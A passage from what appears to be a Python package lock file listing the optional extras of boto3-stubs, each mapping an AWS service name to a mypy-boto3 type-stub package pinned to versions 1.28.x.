(>=1.28.0,<1.29.0)", "mypy-boto3-amp (>=1.28.0,<1.29.0)", "mypy-boto3-amplify (>=1.28.0,<1.29.0)", "mypy-boto3-amplifybackend (>=1.28.0,<1.29.0)", "mypy-boto3-amplifyuibuilder (>=1.28.0,<1.29.0)", "mypy-boto3-apigateway (>=1.28.0,<1.29.0)", "mypy-boto3-apigatewaymanagementapi (>=1.28.0,<1.29.0)", "mypy-boto3-apigatewayv2 (>=1.28.0,<1.29.0)", "mypy-boto3-appconfig (>=1.28.0,<1.29.0)", "mypy-boto3-appconfigdata (>=1.28.0,<1.29.0)", "mypy-boto3-appfabric (>=1.28.0,<1.29.0)", "mypy-boto3-appflow (>=1.28.0,<1.29.0)", "mypy-boto3-appintegrations (>=1.28.0,<1.29.0)", "mypy-boto3-application-autoscaling (>=1.28.0,<1.29.0)", "mypy-boto3-application-insights (>=1.28.0,<1.29.0)", "mypy-boto3-applicationcostprofiler (>=1.28.0,<1.29.0)", "mypy-boto3-appmesh (>=1.28.0,<1.29.0)", "mypy-boto3-apprunner (>=1.28.0,<1.29.0)", "mypy-boto3-appstream (>=1.28.0,<1.29.0)", "mypy-boto3-appsync (>=1.28.0,<1.29.0)", "mypy-boto3-arc-zonal-shift (>=1.28.0,<1.29.0)", "mypy-boto3-athena (>=1.28.0,<1.29.0)", "mypy-boto3-auditmanager (>=1.28.0,<1.29.0)", "mypy-boto3-autoscaling (>=1.28.0,<1.29.0)", "mypy-boto3-autoscaling-plans (>=1.28.0,<1.29.0)", "mypy-boto3-backup (>=1.28.0,<1.29.0)", "mypy-boto3-backup-gateway (>=1.28.0,<1.29.0)", "mypy-boto3-backupstorage (>=1.28.0,<1.29.0)", "mypy-boto3-batch (>=1.28.0,<1.29.0)", "mypy-boto3-billingconductor (>=1.28.0,<1.29.0)", "mypy-boto3-braket (>=1.28.0,<1.29.0)", "mypy-boto3-budgets (>=1.28.0,<1.29.0)", "mypy-boto3-ce (>=1.28.0,<1.29.0)", "mypy-boto3-chime (>=1.28.0,<1.29.0)", "mypy-boto3-chime-sdk-identity (>=1.28.0,<1.29.0)", "mypy-boto3-chime-sdk-media-pipelines (>=1.28.0,<1.29.0)", "mypy-boto3-chime-sdk-meetings (>=1.28.0,<1.29.0)", "mypy-boto3-chime-sdk-messaging (>=1.28.0,<1.29.0)", "mypy-boto3-chime-sdk-voice (>=1.28.0,<1.29.0)", "mypy-boto3-cleanrooms (>=1.28.0,<1.29.0)", "mypy-boto3-cloud9 (>=1.28.0,<1.29.0)", "mypy-boto3-cloudcontrol (>=1.28.0,<1.29.0)", "mypy-boto3-clouddirectory (>=1.28.0,<1.29.0)", "mypy-boto3-cloudformation (>=1.28.0,<1.29.0)", "mypy-boto3-cloudfront (>=1.28.0,<1.29.0)", "mypy-boto3-cloudhsm (>=1.28.0,<1.29.0)", "mypy-boto3-cloudhsmv2 (>=1.28.0,<1.29.0)", "mypy-boto3-cloudsearch (>=1.28.0,<1.29.0)", "mypy-boto3-cloudsearchdomain (>=1.28.0,<1.29.0)", "mypy-boto3-cloudtrail (>=1.28.0,<1.29.0)", "mypy-boto3-cloudtrail-data (>=1.28.0,<1.29.0)", "mypy-boto3-cloudwatch (>=1.28.0,<1.29.0)", "mypy-boto3-codeartifact (>=1.28.0,<1.29.0)", "mypy-boto3-codebuild (>=1.28.0,<1.29.0)", "mypy-boto3-codecatalyst (>=1.28.0,<1.29.0)", "mypy-boto3-codecommit (>=1.28.0,<1.29.0)", "mypy-boto3-codedeploy (>=1.28.0,<1.29.0)", "mypy-boto3-codeguru-reviewer (>=1.28.0,<1.29.0)", "mypy-boto3-codeguru-security (>=1.28.0,<1.29.0)", "mypy-boto3-codeguruprofiler (>=1.28.0,<1.29.0)", "mypy-boto3-codepipeline (>=1.28.0,<1.29.0)", "mypy-boto3-codestar (>=1.28.0,<1.29.0)", "mypy-boto3-codestar-connections (>=1.28.0,<1.29.0)", "mypy-boto3-codestar-notifications (>=1.28.0,<1.29.0)", "mypy-boto3-cognito-identity (>=1.28.0,<1.29.0)", "mypy-boto3-cognito-idp (>=1.28.0,<1.29.0)", "mypy-boto3-cognito-sync (>=1.28.0,<1.29.0)", "mypy-boto3-comprehend (>=1.28.0,<1.29.0)", "mypy-boto3-comprehendmedical (>=1.28.0,<1.29.0)", "mypy-boto3-compute-optimizer (>=1.28.0,<1.29.0)", "mypy-boto3-config (>=1.28.0,<1.29.0)", "mypy-boto3-connect (>=1.28.0,<1.29.0)", "mypy-boto3-connect-contact-lens (>=1.28.0,<1.29.0)", "mypy-boto3-connectcampaigns (>=1.28.0,<1.29.0)", "mypy-boto3-connectcases (>=1.28.0,<1.29.0)", "mypy-boto3-connectparticipant (>=1.28.0,<1.29.0)", "mypy-boto3-controltower (>=1.28.0,<1.29.0)", "mypy-boto3-cur (>=1.28.0,<1.29.0)", "mypy-boto3-customer-profiles (>=1.28.0,<1.29.0)", "mypy-boto3-databrew (>=1.28.0,<1.29.0)", "mypy-boto3-dataexchange (>=1.28.0,<1.29.0)", "mypy-boto3-datapipeline (>=1.28.0,<1.29.0)", "mypy-boto3-datasync (>=1.28.0,<1.29.0)", "mypy-boto3-dax (>=1.28.0,<1.29.0)", "mypy-boto3-detective (>=1.28.0,<1.29.0)", "mypy-boto3-devicefarm (>=1.28.0,<1.29.0)", "mypy-boto3-devops-guru (>=1.28.0,<1.29.0)", "mypy-boto3-directconnect (>=1.28.0,<1.29.0)", "mypy-boto3-discovery (>=1.28.0,<1.29.0)", "mypy-boto3-dlm (>=1.28.0,<1.29.0)", "mypy-boto3-dms (>=1.28.0,<1.29.0)", "mypy-boto3-docdb (>=1.28.0,<1.29.0)", "mypy-boto3-docdb-elastic (>=1.28.0,<1.29.0)", "mypy-boto3-drs (>=1.28.0,<1.29.0)", "mypy-boto3-ds (>=1.28.0,<1.29.0)", "mypy-boto3-dynamodb (>=1.28.0,<1.29.0)", "mypy-boto3-dynamodbstreams (>=1.28.0,<1.29.0)", "mypy-boto3-ebs (>=1.28.0,<1.29.0)", "mypy-boto3-ec2 (>=1.28.0,<1.29.0)", "mypy-boto3-ec2-instance-connect (>=1.28.0,<1.29.0)", "mypy-boto3-ecr (>=1.28.0,<1.29.0)", "mypy-boto3-ecr-public (>=1.28.0,<1.29.0)", "mypy-boto3-ecs (>=1.28.0,<1.29.0)", "mypy-boto3-efs (>=1.28.0,<1.29.0)", "mypy-boto3-eks (>=1.28.0,<1.29.0)", "mypy-boto3-elastic-inference (>=1.28.0,<1.29.0)", "mypy-boto3-elasticache (>=1.28.0,<1.29.0)", "mypy-boto3-elasticbeanstalk (>=1.28.0,<1.29.0)", "mypy-boto3-elastictranscoder (>=1.28.0,<1.29.0)", "mypy-boto3-elb (>=1.28.0,<1.29.0)", "mypy-boto3-elbv2 (>=1.28.0,<1.29.0)", "mypy-boto3-emr (>=1.28.0,<1.29.0)", "mypy-boto3-emr-containers (>=1.28.0,<1.29.0)", "mypy-boto3-emr-serverless (>=1.28.0,<1.29.0)", "mypy-boto3-entityresolution (>=1.28.0,<1.29.0)", "mypy-boto3-es (>=1.28.0,<1.29.0)", "mypy-boto3-events (>=1.28.0,<1.29.0)", "mypy-boto3-evidently (>=1.28.0,<1.29.0)", "mypy-boto3-finspace (>=1.28.0,<1.29.0)", "mypy-boto3-finspace-data (>=1.28.0,<1.29.0)", "mypy-boto3-firehose (>=1.28.0,<1.29.0)", "mypy-boto3-fis (>=1.28.0,<1.29.0)", "mypy-boto3-fms (>=1.28.0,<1.29.0)", "mypy-boto3-forecast (>=1.28.0,<1.29.0)", "mypy-boto3-forecastquery (>=1.28.0,<1.29.0)", "mypy-boto3-frauddetector (>=1.28.0,<1.29.0)", "mypy-boto3-fsx (>=1.28.0,<1.29.0)", "mypy-boto3-gamelift (>=1.28.0,<1.29.0)", "mypy-boto3-gamesparks (>=1.28.0,<1.29.0)", "mypy-boto3-glacier (>=1.28.0,<1.29.0)", "mypy-boto3-globalaccelerator (>=1.28.0,<1.29.0)", "mypy-boto3-glue (>=1.28.0,<1.29.0)", "mypy-boto3-grafana (>=1.28.0,<1.29.0)", "mypy-boto3-greengrass (>=1.28.0,<1.29.0)", "mypy-boto3-greengrassv2 (>=1.28.0,<1.29.0)", "mypy-boto3-groundstation (>=1.28.0,<1.29.0)", "mypy-boto3-guardduty (>=1.28.0,<1.29.0)", "mypy-boto3-health (>=1.28.0,<1.29.0)", "mypy-boto3-healthlake (>=1.28.0,<1.29.0)", "mypy-boto3-honeycode (>=1.28.0,<1.29.0)", "mypy-boto3-iam (>=1.28.0,<1.29.0)", "mypy-boto3-identitystore (>=1.28.0,<1.29.0)", "mypy-boto3-imagebuilder (>=1.28.0,<1.29.0)", "mypy-boto3-importexport (>=1.28.0,<1.29.0)", "mypy-boto3-inspector (>=1.28.0,<1.29.0)", "mypy-boto3-inspector2 (>=1.28.0,<1.29.0)", "mypy-boto3-internetmonitor (>=1.28.0,<1.29.0)", "mypy-boto3-iot (>=1.28.0,<1.29.0)", "mypy-boto3-iot-data (>=1.28.0,<1.29.0)", "mypy-boto3-iot-jobs-data (>=1.28.0,<1.29.0)", "mypy-boto3-iot-roborunner (>=1.28.0,<1.29.0)", "mypy-boto3-iot1click-devices (>=1.28.0,<1.29.0)", "mypy-boto3-iot1click-projects (>=1.28.0,<1.29.0)", "mypy-boto3-iotanalytics (>=1.28.0,<1.29.0)", "mypy-boto3-iotdeviceadvisor (>=1.28.0,<1.29.0)", "mypy-boto3-iotevents (>=1.28.0,<1.29.0)", "mypy-boto3-iotevents-data (>=1.28.0,<1.29.0)", "mypy-boto3-iotfleethub (>=1.28.0,<1.29.0)", "mypy-boto3-iotfleetwise (>=1.28.0,<1.29.0)", "mypy-boto3-iotsecuretunneling (>=1.28.0,<1.29.0)", "mypy-boto3-iotsitewise (>=1.28.0,<1.29.0)", "mypy-boto3-iotthingsgraph (>=1.28.0,<1.29.0)", "mypy-boto3-iottwinmaker (>=1.28.0,<1.29.0)", "mypy-boto3-iotwireless (>=1.28.0,<1.29.0)", "mypy-boto3-ivs (>=1.28.0,<1.29.0)", "mypy-boto3-ivs-realtime (>=1.28.0,<1.29.0)", "mypy-boto3-ivschat (>=1.28.0,<1.29.0)", "mypy-boto3-kafka (>=1.28.0,<1.29.0)", "mypy-boto3-kafkaconnect (>=1.28.0,<1.29.0)", "mypy-boto3-kendra (>=1.28.0,<1.29.0)", "mypy-boto3-kendra-ranking (>=1.28.0,<1.29.0)", "mypy-boto3-keyspaces (>=1.28.0,<1.29.0)", "mypy-boto3-kinesis (>=1.28.0,<1.29.0)", "mypy-boto3-kinesis-video-archived-media (>=1.28.0,<1.29.0)", "mypy-boto3-kinesis-video-media (>=1.28.0,<1.29.0)", "mypy-boto3-kinesis-video-signaling (>=1.28.0,<1.29.0)", "mypy-boto3-kinesis-video-webrtc-storage (>=1.28.0,<1.29.0)", "mypy-boto3-kinesisanalytics (>=1.28.0,<1.29.0)", "mypy-boto3-kinesisanalyticsv2 (>=1.28.0,<1.29.0)", "mypy-boto3-kinesisvideo (>=1.28.0,<1.29.0)", "mypy-boto3-kms (>=1.28.0,<1.29.0)", "mypy-boto3-lakeformation (>=1.28.0,<1.29.0)", "mypy-boto3-lambda (>=1.28.0,<1.29.0)", "mypy-boto3-lex-models (>=1.28.0,<1.29.0)", "mypy-boto3-lex-runtime (>=1.28.0,<1.29.0)", "mypy-boto3-lexv2-models (>=1.28.0,<1.29.0)", "mypy-boto3-lexv2-runtime (>=1.28.0,<1.29.0)", "mypy-boto3-license-manager (>=1.28.0,<1.29.0)", "mypy-boto3-license-manager-linux-subscriptions (>=1.28.0,<1.29.0)", "mypy-boto3-license-manager-user-subscriptions (>=1.28.0,<1.29.0)", "mypy-boto3-lightsail (>=1.28.0,<1.29.0)", "mypy-boto3-location (>=1.28.0,<1.29.0)", "mypy-boto3-logs (>=1.28.0,<1.29.0)", "mypy-boto3-lookoutequipment (>=1.28.0,<1.29.0)", "mypy-boto3-lookoutmetrics (>=1.28.0,<1.29.0)", "mypy-boto3-lookoutvision (>=1.28.0,<1.29.0)", "mypy-boto3-m2 (>=1.28.0,<1.29.0)", "mypy-boto3-machinelearning (>=1.28.0,<1.29.0)", "mypy-boto3-macie (>=1.28.0,<1.29.0)", "mypy-boto3-macie2 (>=1.28.0,<1.29.0)", "mypy-boto3-managedblockchain (>=1.28.0,<1.29.0)", "mypy-boto3-managedblockchain-query (>=1.28.0,<1.29.0)", "mypy-boto3-marketplace-catalog (>=1.28.0,<1.29.0)", "mypy-boto3-marketplace-entitlement (>=1.28.0,<1.29.0)", "mypy-boto3-marketplacecommerceanalytics (>=1.28.0,<1.29.0)", "mypy-boto3-mediaconnect (>=1.28.0,<1.29.0)", "mypy-boto3-mediaconvert (>=1.28.0,<1.29.0)", "mypy-boto3-medialive (>=1.28.0,<1.29.0)", "mypy-boto3-mediapackage (>=1.28.0,<1.29.0)", "mypy-boto3-mediapackage-vod (>=1.28.0,<1.29.0)", "mypy-boto3-mediapackagev2 (>=1.28.0,<1.29.0)", "mypy-boto3-mediastore (>=1.28.0,<1.29.0)", "mypy-boto3-mediastore-data (>=1.28.0,<1.29.0)", "mypy-boto3-mediatailor (>=1.28.0,<1.29.0)", "mypy-boto3-medical-imaging (>=1.28.0,<1.29.0)", "mypy-boto3-memorydb (>=1.28.0,<1.29.0)", "mypy-boto3-meteringmarketplace (>=1.28.0,<1.29.0)", "mypy-boto3-mgh (>=1.28.0,<1.29.0)", "mypy-boto3-mgn (>=1.28.0,<1.29.0)", "mypy-boto3-migration-hub-refactor-spaces (>=1.28.0,<1.29.0)", "mypy-boto3-migrationhub-config (>=1.28.0,<1.29.0)", "mypy-boto3-migrationhuborchestrator (>=1.28.0,<1.29.0)", "mypy-boto3-migrationhubstrategy (>=1.28.0,<1.29.0)", "mypy-boto3-mobile (>=1.28.0,<1.29.0)", "mypy-boto3-mq (>=1.28.0,<1.29.0)", "mypy-boto3-mturk (>=1.28.0,<1.29.0)", "mypy-boto3-mwaa (>=1.28.0,<1.29.0)", "mypy-boto3-neptune (>=1.28.0,<1.29.0)", "mypy-boto3-neptunedata (>=1.28.0,<1.29.0)", "mypy-boto3-network-firewall (>=1.28.0,<1.29.0)", "mypy-boto3-networkmanager (>=1.28.0,<1.29.0)", "mypy-boto3-nimble (>=1.28.0,<1.29.0)", "mypy-boto3-oam (>=1.28.0,<1.29.0)", "mypy-boto3-omics (>=1.28.0,<1.29.0)", "mypy-boto3-opensearch (>=1.28.0,<1.29.0)", "mypy-boto3-opensearchserverless (>=1.28.0,<1.29.0)", "mypy-boto3-opsworks (>=1.28.0,<1.29.0)", "mypy-boto3-opsworkscm (>=1.28.0,<1.29.0)", "mypy-boto3-organizations (>=1.28.0,<1.29.0)", "mypy-boto3-osis (>=1.28.0,<1.29.0)", "mypy-boto3-outposts (>=1.28.0,<1.29.0)", "mypy-boto3-panorama (>=1.28.0,<1.29.0)", "mypy-boto3-payment-cryptography (>=1.28.0,<1.29.0)", "mypy-boto3-payment-cryptography-data (>=1.28.0,<1.29.0)", "mypy-boto3-pca-connector-ad (>=1.28.0,<1.29.0)", "mypy-boto3-personalize (>=1.28.0,<1.29.0)", "mypy-boto3-personalize-events (>=1.28.0,<1.29.0)", "mypy-boto3-personalize-runtime (>=1.28.0,<1.29.0)", "mypy-boto3-pi (>=1.28.0,<1.29.0)", "mypy-boto3-pinpoint (>=1.28.0,<1.29.0)", "mypy-boto3-pinpoint-email (>=1.28.0,<1.29.0)", "mypy-boto3-pinpoint-sms-voice (>=1.28.0,<1.29.0)", "mypy-boto3-pinpoint-sms-voice-v2 (>=1.28.0,<1.29.0)", "mypy-boto3-pipes (>=1.28.0,<1.29.0)", "mypy-boto3-polly (>=1.28.0,<1.29.0)", "mypy-boto3-pricing (>=1.28.0,<1.29.0)", "mypy-boto3-privatenetworks (>=1.28.0,<1.29.0)", "mypy-boto3-proton (>=1.28.0,<1.29.0)", "mypy-boto3-qldb (>=1.28.0,<1.29.0)", "mypy-boto3-qldb-session (>=1.28.0,<1.29.0)", "mypy-boto3-quicksight (>=1.28.0,<1.29.0)", "mypy-boto3-ram (>=1.28.0,<1.29.0)", "mypy-boto3-rbin (>=1.28.0,<1.29.0)", "mypy-boto3-rds (>=1.28.0,<1.29.0)", "mypy-boto3-rds-data (>=1.28.0,<1.29.0)", "mypy-boto3-redshift (>=1.28.0,<1.29.0)", "mypy-boto3-redshift-data (>=1.28.0,<1.29.0)", "mypy-boto3-redshift-serverless (>=1.28.0,<1.29.0)", "mypy-boto3-rekognition (>=1.28.0,<1.29.0)", "mypy-boto3-resiliencehub (>=1.28.0,<1.29.0)", "mypy-boto3-resource-explorer-2 (>=1.28.0,<1.29.0)", "mypy-boto3-resource-groups (>=1.28.0,<1.29.0)", "mypy-boto3-resourcegroupstaggingapi (>=1.28.0,<1.29.0)", "mypy-boto3-robomaker (>=1.28.0,<1.29.0)", "mypy-boto3-rolesanywhere (>=1.28.0,<1.29.0)", "mypy-boto3-route53 (>=1.28.0,<1.29.0)", "mypy-boto3-route53-recovery-cluster (>=1.28.0,<1.29.0)", "mypy-boto3-route53-recovery-control-config (>=1.28.0,<1.29.0)", "mypy-boto3-route53-recovery-readiness (>=1.28.0,<1.29.0)", "mypy-boto3-route53domains (>=1.28.0,<1.29.0)", "mypy-boto3-route53resolver (>=1.28.0,<1.29.0)", "mypy-boto3-rum (>=1.28.0,<1.29.0)", "mypy-boto3-s3 (>=1.28.0,<1.29.0)", "mypy-boto3-s3control (>=1.28.0,<1.29.0)", "mypy-boto3-s3outposts (>=1.28.0,<1.29.0)", "mypy-boto3-sagemaker (>=1.28.0,<1.29.0)", "mypy-boto3-sagemaker-a2i-runtime (>=1.28.0,<1.29.0)", "mypy-boto3-sagemaker-edge (>=1.28.0,<1.29.0)", "mypy-boto3-sagemaker-featurestore-runtime (>=1.28.0,<1.29.0)", "mypy-boto3-sagemaker-geospatial (>=1.28.0,<1.29.0)", "mypy-boto3-sagemaker-metrics (>=1.28.0,<1.29.0)", "mypy-boto3-sagemaker-runtime (>=1.28.0,<1.29.0)", "mypy-boto3-savingsplans (>=1.28.0,<1.29.0)", "mypy-boto3-scheduler (>=1.28.0,<1.29.0)", "mypy-boto3-schemas (>=1.28.0,<1.29.0)", "mypy-boto3-sdb (>=1.28.0,<1.29.0)", "mypy-boto3-secretsmanager (>=1.28.0,<1.29.0)", "mypy-boto3-securityhub (>=1.28.0,<1.29.0)", "mypy-boto3-securitylake (>=1.28.0,<1.29.0)", "mypy-boto3-serverlessrepo (>=1.28.0,<1.29.0)", "mypy-boto3-service-quotas (>=1.28.0,<1.29.0)", "mypy-boto3-servicecatalog (>=1.28.0,<1.29.0)", "mypy-boto3-servicecatalog-appregistry (>=1.28.0,<1.29.0)", "mypy-boto3-servicediscovery (>=1.28.0,<1.29.0)", "mypy-boto3-ses (>=1.28.0,<1.29.0)", "mypy-boto3-sesv2 (>=1.28.0,<1.29.0)", "mypy-boto3-shield (>=1.28.0,<1.29.0)", "mypy-boto3-signer (>=1.28.0,<1.29.0)", "mypy-boto3-simspaceweaver (>=1.28.0,<1.29.0)", "mypy-boto3-sms (>=1.28.0,<1.29.0)", "mypy-boto3-sms-voice (>=1.28.0,<1.29.0)", "mypy-boto3-snow-device-management (>=1.28.0,<1.29.0)", "mypy-boto3-snowball (>=1.28.0,<1.29.0)", "mypy-boto3-sns (>=1.28.0,<1.29.0)", "mypy-boto3-sqs (>=1.28.0,<1.29.0)", "mypy-boto3-ssm (>=1.28.0,<1.29.0)", "mypy-boto3-ssm-contacts (>=1.28.0,<1.29.0)", "mypy-boto3-ssm-incidents (>=1.28.0,<1.29.0)", "mypy-boto3-ssm-sap (>=1.28.0,<1.29.0)", "mypy-boto3-sso (>=1.28.0,<1.29.0)", "mypy-boto3-sso-admin (>=1.28.0,<1.29.0)", "mypy-boto3-sso-oidc (>=1.28.0,<1.29.0)", "mypy-boto3-stepfunctions (>=1.28.0,<1.29.0)", "mypy-boto3-storagegateway (>=1.28.0,<1.29.0)", "mypy-boto3-sts (>=1.28.0,<1.29.0)", "mypy-boto3-support (>=1.28.0,<1.29.0)", "mypy-boto3-support-app (>=1.28.0,<1.29.0)", "mypy-boto3-swf (>=1.28.0,<1.29.0)", "mypy-boto3-synthetics (>=1.28.0,<1.29.0)", "mypy-boto3-textract (>=1.28.0,<1.29.0)", "mypy-boto3-timestream-query (>=1.28.0,<1.29.0)", "mypy-boto3-timestream-write (>=1.28.0,<1.29.0)", "mypy-boto3-tnb (>=1.28.0,<1.29.0)", "mypy-boto3-transcribe (>=1.28.0,<1.29.0)", "mypy-boto3-transfer (>=1.28.0,<1.29.0)", "mypy-boto3-translate (>=1.28.0,<1.29.0)", "mypy-boto3-verifiedpermissions (>=1.28.0,<1.29.0)", "mypy-boto3-voice-id (>=1.28.0,<1.29.0)", "mypy-boto3-vpc-lattice (>=1.28.0,<1.29.0)", "mypy-boto3-waf (>=1.28.0,<1.29.0)", "mypy-boto3-waf-regional (>=1.28.0,<1.29.0)", "mypy-boto3-wafv2 (>=1.28.0,<1.29.0)", "mypy-boto3-wellarchitected (>=1.28.0,<1.29.0)", "mypy-boto3-wisdom (>=1.28.0,<1.29.0)", "mypy-boto3-workdocs (>=1.28.0,<1.29.0)", "mypy-boto3-worklink (>=1.28.0,<1.29.0)", "mypy-boto3-workmail (>=1.28.0,<1.29.0)", "mypy-boto3-workmailmessageflow (>=1.28.0,<1.29.0)", "mypy-boto3-workspaces (>=1.28.0,<1.29.0)", "mypy-boto3-workspaces-web (>=1.28.0,<1.29.0)", "mypy-boto3-xray (>=1.28.0,<1.29.0)"] +amp = ["mypy-boto3-amp (>=1.28.0,<1.29.0)"] +amplify = ["mypy-boto3-amplify (>=1.28.0,<1.29.0)"] +amplifybackend = ["mypy-boto3-amplifybackend (>=1.28.0,<1.29.0)"] +amplifyuibuilder = ["mypy-boto3-amplifyuibuilder (>=1.28.0,<1.29.0)"] +apigateway = ["mypy-boto3-apigateway (>=1.28.0,<1.29.0)"] +apigatewaymanagementapi = ["mypy-boto3-apigatewaymanagementapi (>=1.28.0,<1.29.0)"] +apigatewayv2 = ["mypy-boto3-apigatewayv2 (>=1.28.0,<1.29.0)"] +appconfig = ["mypy-boto3-appconfig (>=1.28.0,<1.29.0)"] +appconfigdata = ["mypy-boto3-appconfigdata (>=1.28.0,<1.29.0)"] +appfabric = ["mypy-boto3-appfabric (>=1.28.0,<1.29.0)"] +appflow = ["mypy-boto3-appflow (>=1.28.0,<1.29.0)"] +appintegrations = ["mypy-boto3-appintegrations (>=1.28.0,<1.29.0)"] +application-autoscaling = ["mypy-boto3-application-autoscaling (>=1.28.0,<1.29.0)"] +application-insights = ["mypy-boto3-application-insights (>=1.28.0,<1.29.0)"] +applicationcostprofiler = ["mypy-boto3-applicationcostprofiler (>=1.28.0,<1.29.0)"] +appmesh = ["mypy-boto3-appmesh (>=1.28.0,<1.29.0)"] +apprunner = ["mypy-boto3-apprunner (>=1.28.0,<1.29.0)"] +appstream = ["mypy-boto3-appstream (>=1.28.0,<1.29.0)"] +appsync = ["mypy-boto3-appsync (>=1.28.0,<1.29.0)"] +arc-zonal-shift = ["mypy-boto3-arc-zonal-shift (>=1.28.0,<1.29.0)"] +athena = ["mypy-boto3-athena (>=1.28.0,<1.29.0)"] +auditmanager = ["mypy-boto3-auditmanager (>=1.28.0,<1.29.0)"] +autoscaling = ["mypy-boto3-autoscaling (>=1.28.0,<1.29.0)"] +autoscaling-plans = ["mypy-boto3-autoscaling-plans (>=1.28.0,<1.29.0)"] +backup = ["mypy-boto3-backup (>=1.28.0,<1.29.0)"] +backup-gateway = ["mypy-boto3-backup-gateway (>=1.28.0,<1.29.0)"] +backupstorage = ["mypy-boto3-backupstorage (>=1.28.0,<1.29.0)"] +batch = ["mypy-boto3-batch (>=1.28.0,<1.29.0)"] +billingconductor = ["mypy-boto3-billingconductor (>=1.28.0,<1.29.0)"] +boto3 = ["boto3 (==1.28.53)", "botocore (==1.31.53)"] +braket = ["mypy-boto3-braket (>=1.28.0,<1.29.0)"] +budgets = ["mypy-boto3-budgets (>=1.28.0,<1.29.0)"] +ce = ["mypy-boto3-ce (>=1.28.0,<1.29.0)"] +chime = ["mypy-boto3-chime (>=1.28.0,<1.29.0)"] +chime-sdk-identity = ["mypy-boto3-chime-sdk-identity (>=1.28.0,<1.29.0)"] +chime-sdk-media-pipelines = ["mypy-boto3-chime-sdk-media-pipelines (>=1.28.0,<1.29.0)"] +chime-sdk-meetings = ["mypy-boto3-chime-sdk-meetings (>=1.28.0,<1.29.0)"] +chime-sdk-messaging = ["mypy-boto3-chime-sdk-messaging (>=1.28.0,<1.29.0)"] +chime-sdk-voice = ["mypy-boto3-chime-sdk-voice (>=1.28.0,<1.29.0)"] +cleanrooms = ["mypy-boto3-cleanrooms (>=1.28.0,<1.29.0)"] +cloud9 = ["mypy-boto3-cloud9 (>=1.28.0,<1.29.0)"] +cloudcontrol = ["mypy-boto3-cloudcontrol (>=1.28.0,<1.29.0)"] +clouddirectory = ["mypy-boto3-clouddirectory (>=1.28.0,<1.29.0)"] +cloudformation = ["mypy-boto3-cloudformation (>=1.28.0,<1.29.0)"] +cloudfront = ["mypy-boto3-cloudfront (>=1.28.0,<1.29.0)"] +cloudhsm = ["mypy-boto3-cloudhsm (>=1.28.0,<1.29.0)"] +cloudhsmv2 = ["mypy-boto3-cloudhsmv2 (>=1.28.0,<1.29.0)"] +cloudsearch = ["mypy-boto3-cloudsearch (>=1.28.0,<1.29.0)"] +cloudsearchdomain = ["mypy-boto3-cloudsearchdomain (>=1.28.0,<1.29.0)"] +cloudtrail = ["mypy-boto3-cloudtrail (>=1.28.0,<1.29.0)"] +cloudtrail-data = ["mypy-boto3-cloudtrail-data (>=1.28.0,<1.29.0)"] +cloudwatch = ["mypy-boto3-cloudwatch (>=1.28.0,<1.29.0)"] +codeartifact = ["mypy-boto3-codeartifact (>=1.28.0,<1.29.0)"] +codebuild = ["mypy-boto3-codebuild (>=1.28.0,<1.29.0)"] +codecatalyst = ["mypy-boto3-codecatalyst (>=1.28.0,<1.29.0)"] +codecommit = ["mypy-boto3-codecommit (>=1.28.0,<1.29.0)"] +codedeploy = ["mypy-boto3-codedeploy (>=1.28.0,<1.29.0)"] +codeguru-reviewer = ["mypy-boto3-codeguru-reviewer (>=1.28.0,<1.29.0)"] +codeguru-security = ["mypy-boto3-codeguru-security (>=1.28.0,<1.29.0)"] +codeguruprofiler = ["mypy-boto3-codeguruprofiler (>=1.28.0,<1.29.0)"] +codepipeline = ["mypy-boto3-codepipeline (>=1.28.0,<1.29.0)"] +codestar = ["mypy-boto3-codestar (>=1.28.0,<1.29.0)"] +codestar-connections = ["mypy-boto3-codestar-connections (>=1.28.0,<1.29.0)"] +codestar-notifications = ["mypy-boto3-codestar-notifications (>=1.28.0,<1.29.0)"] +cognito-identity = ["mypy-boto3-cognito-identity (>=1.28.0,<1.29.0)"] +cognito-idp = ["mypy-boto3-cognito-idp (>=1.28.0,<1.29.0)"] +cognito-sync = ["mypy-boto3-cognito-sync (>=1.28.0,<1.29.0)"] +comprehend = ["mypy-boto3-comprehend (>=1.28.0,<1.29.0)"] +comprehendmedical = ["mypy-boto3-comprehendmedical (>=1.28.0,<1.29.0)"] +compute-optimizer = ["mypy-boto3-compute-optimizer (>=1.28.0,<1.29.0)"] +config = ["mypy-boto3-config (>=1.28.0,<1.29.0)"] +connect = ["mypy-boto3-connect (>=1.28.0,<1.29.0)"] +connect-contact-lens = ["mypy-boto3-connect-contact-lens (>=1.28.0,<1.29.0)"] +connectcampaigns = ["mypy-boto3-connectcampaigns (>=1.28.0,<1.29.0)"] +connectcases = ["mypy-boto3-connectcases (>=1.28.0,<1.29.0)"] +connectparticipant = ["mypy-boto3-connectparticipant (>=1.28.0,<1.29.0)"] +controltower = ["mypy-boto3-controltower (>=1.28.0,<1.29.0)"] +cur = ["mypy-boto3-cur (>=1.28.0,<1.29.0)"] +customer-profiles = ["mypy-boto3-customer-profiles (>=1.28.0,<1.29.0)"] +databrew = ["mypy-boto3-databrew (>=1.28.0,<1.29.0)"] +dataexchange = ["mypy-boto3-dataexchange (>=1.28.0,<1.29.0)"] +datapipeline = ["mypy-boto3-datapipeline (>=1.28.0,<1.29.0)"] +datasync = ["mypy-boto3-datasync (>=1.28.0,<1.29.0)"] +dax = ["mypy-boto3-dax (>=1.28.0,<1.29.0)"] +detective = ["mypy-boto3-detective (>=1.28.0,<1.29.0)"] +devicefarm = ["mypy-boto3-devicefarm (>=1.28.0,<1.29.0)"] +devops-guru = ["mypy-boto3-devops-guru (>=1.28.0,<1.29.0)"] +directconnect = ["mypy-boto3-directconnect (>=1.28.0,<1.29.0)"] +discovery = ["mypy-boto3-discovery (>=1.28.0,<1.29.0)"] +dlm = ["mypy-boto3-dlm (>=1.28.0,<1.29.0)"] +dms = ["mypy-boto3-dms (>=1.28.0,<1.29.0)"] +docdb = ["mypy-boto3-docdb (>=1.28.0,<1.29.0)"] +docdb-elastic = ["mypy-boto3-docdb-elastic (>=1.28.0,<1.29.0)"] +drs = ["mypy-boto3-drs (>=1.28.0,<1.29.0)"] +ds = ["mypy-boto3-ds (>=1.28.0,<1.29.0)"] +dynamodb = ["mypy-boto3-dynamodb (>=1.28.0,<1.29.0)"] +dynamodbstreams = ["mypy-boto3-dynamodbstreams (>=1.28.0,<1.29.0)"] +ebs = ["mypy-boto3-ebs (>=1.28.0,<1.29.0)"] +ec2 = ["mypy-boto3-ec2 (>=1.28.0,<1.29.0)"] +ec2-instance-connect = ["mypy-boto3-ec2-instance-connect (>=1.28.0,<1.29.0)"] +ecr = ["mypy-boto3-ecr 